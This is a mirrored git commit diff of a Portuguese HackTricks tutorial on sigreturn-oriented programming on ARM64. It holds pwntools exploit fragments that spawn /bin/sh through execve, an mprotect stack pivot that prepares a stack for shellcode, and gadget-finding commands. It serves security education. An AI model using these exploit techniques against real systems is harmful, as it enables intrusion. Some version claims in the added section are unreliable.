mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/rop-return-oriented-programing/srop
This commit is contained in:
parent
0e05199a09
commit
9faafc41c1
@ -1,4 +1,4 @@
|
|||||||
# SROP - ARM64
|
# {{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh"))
|
|||||||
stack_offset = 72
|
stack_offset = 72
|
||||||
|
|
||||||
sigreturn = 0x00000000004006e0 # Call to sig
|
sigreturn = 0x00000000004006e0 # Call to sig
|
||||||
svc_call = 0x00000000004006e4 # svc #0x0
|
svc_call = 0x00000000004006e4 # svc #0x0
|
||||||
|
|
||||||
frame = SigreturnFrame()
|
frame = SigreturnFrame()
|
||||||
frame.x8 = 0xdd # syscall number for execve
|
frame.x8 = 0xdd # syscall number for execve
|
||||||
@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh"))
|
|||||||
stack_offset = 72
|
stack_offset = 72
|
||||||
|
|
||||||
sigreturn = 0x00000000004006e0 # Call to sig
|
sigreturn = 0x00000000004006e0 # Call to sig
|
||||||
svc_call = 0x00000000004006e4 # svc #0x0
|
svc_call = 0x00000000004006e4 # svc #0x0
|
||||||
|
|
||||||
frame = SigreturnFrame()
|
frame = SigreturnFrame()
|
||||||
frame.x8 = 0xdd # syscall number for execve
|
frame.x8 = 0xdd # syscall number for execve
|
||||||
@ -165,7 +165,7 @@ payload += bytes(frame)
|
|||||||
p.sendline(payload)
|
p.sendline(payload)
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
Para mais informações sobre vdso, verifique:
|
Para mais informações sobre vdso, consulte:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../ret2vdso.md
|
../ret2vdso.md
|
||||||
@ -177,4 +177,53 @@ E para contornar o endereço de `/bin/sh`, você pode criar várias variáveis d
|
|||||||
../../common-binary-protections-and-bypasses/aslr/
|
../../common-binary-protections-and-bypasses/aslr/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Encontrando gadgets `sigreturn` automaticamente (2023-2025)
|
||||||
|
|
||||||
|
Em distribuições modernas, o trampolim `sigreturn` ainda é exportado pela página **vDSO**, mas o deslocamento exato pode variar entre versões do kernel e flags de compilação, como BTI (`+branch-protection`) ou PAC. Automatizar sua descoberta evita a codificação rígida de deslocamentos:
|
||||||
|
```bash
|
||||||
|
# With ROPgadget ≥ 7.4
|
||||||
|
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
|
||||||
|
|
||||||
|
# With rp++ ≥ 1.0.9 (arm64 support)
|
||||||
|
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
|
||||||
|
```
|
||||||
|
Ambas as ferramentas entendem codificações **AArch64** e listarão sequências candidatas `mov x8, 0x8b ; svc #0` que podem ser usadas como o *gadget SROP*.
|
||||||
|
|
||||||
|
> Nota: Quando os binários são compilados com **BTI**, a primeira instrução de cada alvo de ramificação indireta válida é `bti c`. Trampolins `sigreturn` colocados pelo linker já incluem o pad de aterrissagem BTI correto, então o gadget permanece utilizável a partir de código não privilegiado.
|
||||||
|
|
||||||
|
## Encadeando SROP com ROP (pivot via `mprotect`)
|
||||||
|
|
||||||
|
`rt_sigreturn` nos permite controlar *todos* os registradores de uso geral e `pstate`. Um padrão comum em x86 é: 1) usar SROP para chamar `mprotect`, 2) pivotar para uma nova pilha executável contendo shell-code. A mesma ideia funciona no ARM64:
|
||||||
|
```python
|
||||||
|
frame = SigreturnFrame()
|
||||||
|
frame.x8 = constants.SYS_mprotect # 226
|
||||||
|
frame.x0 = 0x400000 # page-aligned stack address
|
||||||
|
frame.x1 = 0x2000 # size
|
||||||
|
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
|
||||||
|
frame.sp = 0x400000 + 0x100 # new pivot
|
||||||
|
frame.pc = svc_call # will re-enter kernel
|
||||||
|
```
|
||||||
|
Após enviar o frame, você pode enviar um segundo estágio contendo shell-code bruto em `0x400000+0x100`. Porque **AArch64** usa endereçamento *PC-relative*, isso é frequentemente mais conveniente do que construir grandes cadeias ROP.
|
||||||
|
|
||||||
|
## Validação do Kernel, PAC e Shadow-Stacks
|
||||||
|
|
||||||
|
O Linux 5.16 introduziu uma validação mais rigorosa dos frames de sinal do espaço do usuário (commit `36f5a6c73096`). O kernel agora verifica:
|
||||||
|
|
||||||
|
* `uc_flags` deve conter `UC_FP_XSTATE` quando `extra_context` está presente.
|
||||||
|
* A palavra reservada em `struct rt_sigframe` deve ser zero.
|
||||||
|
* Cada ponteiro no registro *extra_context* está alinhado e aponta dentro do espaço de endereços do usuário.
|
||||||
|
|
||||||
|
`pwntools>=4.10` cria frames compatíveis automaticamente, mas se você os construir manualmente, certifique-se de inicializar como zero *reserved* e omitir o registro SVE, a menos que você realmente precise dele—caso contrário, `rt_sigreturn` entregará `SIGSEGV` em vez de retornar.
|
||||||
|
|
||||||
|
Começando com o Android 14 mainstream e Fedora 38, o userland é compilado com **PAC** (*Pointer Authentication*) e **BTI** habilitados por padrão (`-mbranch-protection=standard`). *SROP* em si não é afetado porque o kernel sobrescreve `PC` diretamente do frame criado, contornando o LR autenticado salvo na pilha; no entanto, qualquer **cadeia ROP subsequente** que realiza ramificações indiretas deve pular para instruções habilitadas para BTI ou endereços PACed. Tenha isso em mente ao escolher gadgets.
|
||||||
|
|
||||||
|
Shadow-Call-Stacks introduzidos no ARMv8.9 (e já habilitados no ChromeOS 1.27+) são uma mitigação em nível de compilador e *não* interferem com SROP porque nenhuma instrução de retorno é executada—o fluxo de controle é transferido pelo kernel.
|
||||||
|
|
||||||
|
## Referências
|
||||||
|
|
||||||
|
* [Documentação de manipulação de sinal arm64 do Linux](https://docs.kernel.org/arch/arm64/signal.html)
|
||||||
|
* [LWN – "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user